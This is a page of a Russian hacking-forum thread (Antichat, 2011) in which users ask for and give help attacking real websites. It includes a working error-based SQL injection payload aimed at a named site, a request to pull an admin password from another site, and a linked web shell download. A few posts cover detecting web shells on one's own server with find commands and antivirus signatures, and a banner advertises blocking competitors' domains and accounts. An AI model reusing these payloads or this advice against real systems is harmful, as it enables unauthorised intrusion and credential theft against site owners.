Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1808 из 2438

1808

Опции темы

Поиск в этой теме

Опции просмотра

#18071

10.09.2011, 21:40

M_script

Новичок

Регистрация: 04.11.2004

Сообщений: 5

С нами: 11322426

Репутация: 0

heks, нужно фильтровать данные, которые пользователь может передать скрипту.

#18072

12.09.2011, 03:48

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

подскажите как раскрутить эту скулю?

Код:

http://www.euromet.ru:80/search/?search=1'

#18073

12.09.2011, 06:40

sourcec0de

Новичок

Регистрация: 13.06.2011

Сообщений: 27

С нами: 7850486

Репутация: 7

Цитата:

Сообщение от Faaax

подскажите как раскрутить эту скулю?

Код:

http://www.euromet.ru:80/search/?search=1'

Там несколько запросов

Код:

http://www.euromet.ru/search/?search=ololo' and updatexml(0x03b,concat(0x3b,(select version())),0x03b)-- x

#18074

13.09.2011, 16:05

Ochki

Новичок

Регистрация: 04.09.2011

Сообщений: 2

С нами: 7730966

Репутация: 0

Народ Как можно найти чужой шелл на севере ?

Интересны варианты обнаружения посторонних шелов

#18075

13.09.2011, 16:09

o'clock

Новичок

Регистрация: 16.05.2009

Сообщений: 12

С нами: 8940726

Репутация: 2

если консоль активна, то можно например так:

Код:

find / -type f -size +20k -name "*.php"

выведет все пути до фалов с маской *.php размер которых более 20 кб. т.е. всо(~22 и ~67 кб) и всякие другие.

#18076

13.09.2011, 16:39

Faaax

Постоянный

Регистрация: 30.08.2010

Сообщений: 327

С нами: 8263766

Репутация: 11

Цитата:

Сообщение от Ochki

Народ Как можно найти чужой шелл на севере ?
Интересны варианты обнаружения посторонних шелов

был у меня один скрипт,если найду,то выложу здесь!

даже шелл нашёл который даёт такую функцию!

скачать

P.S. шелл проверь сначала!

#18077

13.09.2011, 17:49

Kuteke

Участник форума

Регистрация: 26.06.2010

Сообщений: 179

С нами: 8357366

Репутация: 6

o'clock,

а серв не за ддосишь этим?)

Ochki,

PhPAntiVirus скачай, он не грузить серв вообще, сколько бы там не было файлов! Открой там virus.def и измени содержимое на

Код:

SHELL	(base64_decode
SHELL	eval
SHELL	assert
SHELL	auth_pass

#18078

13.09.2011, 18:31

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Нашел Post уязвимость на сайте

http://mirbek-star.3dn.ru/load/audio/mirbek_atabekov_tan_syry_skachat_v_formate_mp3/1-1-0-51

Data:id=1&a=1&ajax=370

Что бы по быстрому добраться до базы использовал Havij и WebCruiser ни 1 не смог потому что символы там не понятные..пытается что то сблиндить и не как,есть варианты как пасс админа вытащить если символы не англ?

Заранее спасибо.

#18079

13.09.2011, 19:53

попугай

Познавший АНТИЧАТ

Регистрация: 15.01.2008

Сообщений: 1,166

С нами: 9642449

Репутация: 606

Цитата:

Сообщение от Kuteke

Помогите раскрутить!

Код:

/?id=5934

P.S. С меня наградка в ПМ...

там нет инъекции

#18080

13.09.2011, 20:11

winstrool

Познающий

Регистрация: 06.03.2007

Сообщений: 59

С нами: 10095779

Репутация: 137

Цитата:

Сообщение от попугай

там нет инъекции

там пасивная XSS

Страница 1808 из 2438

1808

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка

ESCROW ADMIN PANEL